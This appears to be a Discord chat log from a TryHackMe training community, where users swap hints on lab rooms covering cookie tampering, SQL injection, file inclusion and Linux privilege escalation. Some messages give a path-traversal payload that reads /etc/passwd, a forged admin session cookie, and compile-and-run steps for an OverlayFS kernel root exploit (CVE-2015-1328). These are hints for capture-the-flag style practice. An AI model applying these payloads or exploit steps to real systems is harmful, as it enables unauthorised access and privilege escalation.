in linux privesc how can i got flag1

scenic raft
#

I need help on the room Authentication Bypass - Task 5 Cookie Tampering - I'm trying to running on the command line curl -H machine_IP Set-Cookie:session=eyJpZCI6MSwiYWRtaW4iOnRydWV9; Max-Age=3600; Path=/ => I have the follow error: curl (3) ended with 's' - and - Max-Age=3600: command not found

alpine sigil
#

I've got so many pentester titles, I'm like the godfather of pentesting

oblique sand
#

@scenic raft relook at what it is asking. That is the incorrect commands to run

scenic raft
#

@oblique sand can you please help me? I cannot think anything else

reef wave
#

lemme get even 3euro voucher

alpine sigil
#

only one room left

#

i have 2 tickets of everything except title and streak freeze, got 1 year of streak freeze

oblique sand
#

@scenic raft Look at the Curl Request 1

#

1 year xD nice

scenic raft
#

@oblique sand thank you, but Iโ€™m confused. After the machine ip, what should I put?

next lanceBOT
#

Gave +1 Rep to @oblique sand

alpine sigil
#

DAMN

#

feel u

oblique sand
#

@scenic raft The machine ip is to be replaced with your machine IP.

The box you have started

reef wave
#

I guess we needed to finish all the machines on the first day to get some

scenic raft
alpine sigil
oblique sand
#

@scenic raft DM me i can help you better

#

@reef wave you can always reset the previous rooms to get tickets again. I believe that is what it said you could do on the email

alpine sigil
oblique sand
#

ahhhh fair enough

alpine sigil
#

that would mean even more titles and years of freeze haahaha

broken epoch
#

oh men! I got the same feeling...

modest arch
#

Got the flag for stage6 on SQLi but it isnt accepting it

plush furnace
modest arch
#

ah

#

mb

subtle heron
#

Guys, any hint on the vulnerability capstone?

reef wave
broken epoch
#

yep

#

Local File Inclusion challenges just melt my brain also... I tried at least 100 combinations with the %00 ,with all payloads..i used the attackbox I tryed also from my pc ..with burp suite widouth it, what the hell? I can`t eaven get the first flag... this just makes me break stuff around me...

modest arch
modest arch
#

it took my whole day

broken epoch
#

i just spent at least 6 hours on it , I feel like a cat reading the calendar.

#

๐Ÿ˜†

swift mirage
#

i ended up skipping file inclusion on the 4th question. i know it's something simple i'm overlooking but i got tired of spending the day looking for it

novel rover
#

i was lucky to use curl and get flag fast)

kindred lantern
#

@modest arch all depends if there's a time frame on it

modest arch
#

?

modest arch
kindred lantern
#

Slowly getting there on the sqli task 8 flag 4. I thought I enjoyed sqli u till this flag haha

modest arch
#

same mate haha

kindred lantern
#

Iv managed to get the sqli and number and enumerate what I think is the table name but its slooow going

modest arch
#

can anyone tell me if my table name is atleast correct

#

I can't get the column name I tried all letters A-z capital and small characters -,_ numbers (0-9)

#

u mean the table name is not complete

#

waccu sayin I got positive results

#

5seconds showed up

#

is it REALLY completely wrong

#

wtf

#

u sure?

#

SQLi is a pain to do

#

r u sure 'not your dad' ?

#

but why did I get positive from it then

#

I don't get it

#

If it is completely wrong

#

great

#

I want one hint does the table name start with 'a'?

drifting drum
#

Yes and no

modest arch
#

ehh

drifting drum
#

There's more than 1 table

#

Only one of them will help you

#

#rabbithole

modest arch
#

gotcha

drifting drum
#

Loool

modest arch
#

wdym

#

I just tried with i and got 10s response wtf

drifting drum
#

Just because the table you have is an existing table dosent mean it contains the information you'll need

modest arch
#

is it just 5 letters or there's more?

fiery flame
#

@modest arch Check information in Task 7 and you will find what you are looking for, the names are very similar in both task 7 and task 8 & i'd also say check the SQL query box provided at the bottom of the screen. You may find in there that there is some information that you can use to escape your rabbit hole, in particular the ||select * from analytics_referrers|| should make you realise that the table you are searching in is not the right one.

Also bonus if you want it - When trying the password combo, don't waste time trying ||a-z as the passwords start with a numerical value||

modest arch
#

FINALLY I DID IT

#

u showed also flag ๐Ÿ˜„

sterile crescent
#

So on linux PrivEsc Task 10 (PATH) || I'm using the ./test script to run "thm", but thm isn't running with elevated perms even though test has the SUID bit. i've tried both cat and /bin/bash inside thm, but neither are working with elevated perms. any ideas as to what im doing wrong? ||

nevermind, I figured it out

oblique sand
#

I'm a little stuck on the File inclusion Task 4 can't seem to get the pathing right when trying to find the /etc/passwd directory.

Tried different paths but no good.

/index.php?lang=../../etc/passwd

This is my start. Is this a good start? ^

modest arch
#

nope

oblique sand
#

Alright, i'll have a relook. Cheers

#

I got it xD I was overthinking it too much

modest arch
#

awesome

bitter snow
#

I have been following along and I can ping it, but I still get no response once I open the ticket. I have tried inserting my vpn ip, an attackbox ip, and the tryhackme catcher. None catch anything.

rough ore
#

how can i exploit cve 2015 in linux privesc if i have permission denied

rough ore
#

kernel exploits

fallen crater
rough ore
#

cve 2015-1328

kindred lantern
#

yaaas jus got it too

sterile crescent
# rough ore first flag

just as a heads up make sure to use spoiler tags (|| text ||) to not spoil anything for people who don't wanna see. anyway || they provide https://www.linuxkernelcves.com as a website with the task, so if you find the cve in there, there's a link to exploit db and some exploits that have been written for it. if you check there, you can find one that works. there are 2 i think (3 are listed but i think 2 are the same so). if you need more than this i can still help, just dont wanna give off too much ||

rough ore
kindred lantern
#

Need to stop over thinking things lol. Well that an goin down rabbit holes lol

sterile crescent
upper field
#

Generate an MD4 hashsum of the phrase: Insecure Algorithms

when i base 64 this, THM doesnt like the answer ?

sterile crescent
#

Im guessing this in in the burpsuite decoder?

upper field
#

yeah

#

||4dc57840665937bcbb97060544c32878||

#

thats the md4

pearl bolt
#

has anybody else had issues with the vm in the last task of Metasploit Exploit?

#

the msfvenom one?

upper field
#

||NGRjNTc4NDA2NjU5MzdiY2JiOTcwNjA1NDRjMzI4Nzg=||

#

then base 64

sterile crescent
#

it specifically asks for output in base64

upper field
#

for some reason my burp is missing the md4 option in decoder so i used cyberchef but im guessing that wont effect it

sterile crescent
#

i think the issue is if you're copy/pasting it might add some strange characters in the background? when i did it it was just fine, but i can double check if you would like

#

ill double check on my box real quick

upper field
#

wicked cheers man

north dove
#

nmap live host discovery task 7

What option do you need to add to Nmap to run a TCP SYN ping scan on the telnet port?

this question sucks

lusty bolt
#

why?

north dove
#

--help

#

unable to find the answer

lusty bolt
#

what's the answer format?

sterile crescent
#

@lusty bolt ||sS just says SYN scan, and then you would --ports 23 or whatever. there's a combination command available that they're looking for ||

lusty bolt
#

oh

modest arch
#

How many days are these tickets we are given valid?

sterile crescent
#

i think until the 27th you can earn them

#

@upper field so i double checked on mine, and it works. i'll send a screenshot of mine in case you want to just check it out

fallen crater
upper field
#

@sterile crescent Top man thank you

next lanceBOT
#

Gave +1 Rep to @sterile crescent

north dove
#

i got the answer ..lol

rough ore
north dove
#

this was the worst question ever asked varg

sterile crescent
#

@upper field ||try and get it yourself to see what you're doing wrong there||

fallen crater
upper field
#

ill try manually type it instead of copy and paste

modest arch
sterile crescent
sterile crescent
north dove
sterile crescent
#

look if there's anything i've learned from messing up on things, always ls -la and check it can exploit

deft valley
north dove
#

I'm gonna subscribe tomorrow ! I'm tired of getting single ticketsvarg

modest arch
modest arch
#

So until when is that?

sterile crescent
# rough ore https://www.exploit-db.com/exploits/37292

okay so the top of this exploit shows usage || gcc ofs.c -o ofs you have to infer a bit with it. ofs.c is the c file that the rest of the code goes into (since its an OverlayFS vulnerability). you compile into ofs and then run it ./ofs and it should be good ||

modest arch
#

They are available I mean

fallen crater
sterile crescent
modest arch
#

U made a good point lol

fallen crater
#

me too after subscription

rough ore
fallen crater
#

pentester title 1/7 day freeze

modest arch
#

Idk what am I supposed to do with these extra pentester title tickets

sterile crescent
modest arch
fallen crater
visual crest
#

I have 2 more tickets to get, 1 more task for that

kindred lantern
#

Any one else's jus crash out when u try claim tickets now lol

sterile crescent
fallen crater
north dove
visual crest
#

finished

rough ore
visual crest
#

and no major prizes but didn't really expect any

fallen crater
sterile crescent
#

but I know itโ€™s unlikely

modest arch
#

I got 3 for HAK5 WiFi

north dove
#

btw, how many can get oscp? what's the limit?

rough ore
north dove
plush furnace
#

why's the task 8 on sqli room so long NotLikeThis

north dove
#

are they claimed? cri

kindred lantern
rough ore
sterile crescent
#

@rough ore do it in /tmp

#

move to that directory to make the code, donโ€™t change the perms of it

north dove
modest arch
#

figured it out!!! finally ๐Ÿ˜„

modest arch
rough ore
sharp yoke
#

hey guys i can't get this "directory listing" in walking-an-application section :/

sharp yoke
sterile crescent
north dove
modest arch
sharp yoke
sharp yoke
north dove
rough ore
#

permission denied

north dove
fallen crater
rough ore
#

linux privesc kernel

fallen crater
north dove
rough ore
#

task 5 flag1

north dove
rough ore
fallen crater
#

i finished it but i will give it a try to help you

rough ore
#

give me steps or flag idk im tired

north dove
north dove
rough ore
#

im on karen account and all commands permisiion denied

fallen crater
sterile crescent
fallen crater
#

i will give you hints just wait to give it a look

north dove
#

you did the first step

#

right?

#

also the second

#

?

sterile crescent
#

first and second, having issues with 3rd

rough ore
#

ye but i need to run exploit on target machine right?how can i copy to it or run from target not from local

north dove
#

share the exploit

fallen crater
#

then mkdir lol

#

then cd lol

north dove
#

echo "lol"

rough ore
north dove
#

u aren't getting us

fallen crater
sterile crescent
#

you dont have permission to cd?

fallen crater
#

try to create a directory

#

inside the /tmp directory

rough ore
#

on target machine denied not on local

remote estuary
#

someone have problem with reverse shell Task9 linux privesc

fallen crater
#

when you are trying to type cd lol

north dove
sterile crescent
kindred lantern
#

just finished up the command injection room that one i really enjoyed!

north dove
remote estuary
fallen crater
#

it works fine ? where is the permission denied issue ?

north dove
rough ore
alpine sigil
north dove
sterile crescent
alpine sigil
#

last 3 questions my brain is melting

remote estuary
#

thanks

north dove
sterile crescent
#

np

sterile crescent
sterile crescent
#

i've heard from others that windows is in general easier

alpine sigil
north dove
#

the powershell commands are horrible to me ...idk why

sterile crescent
#

powershell terminology is build completely differently

alpine sigil
#

yeah

sterile crescent
#

and for the windows you get direct access, not from the attackbox or kali

alpine sigil
#

gotta practise more powershell

north dove
#

does anybody have oscp here? i wonder if oscp requires a good amount of win privesc knowledge

fallen crater
#

this one on windows privesc is very good

north dove
#

lol

alpine sigil
#

LOL

sterile crescent
north dove
alpine sigil
#

it didn't work ๐Ÿ˜ฆ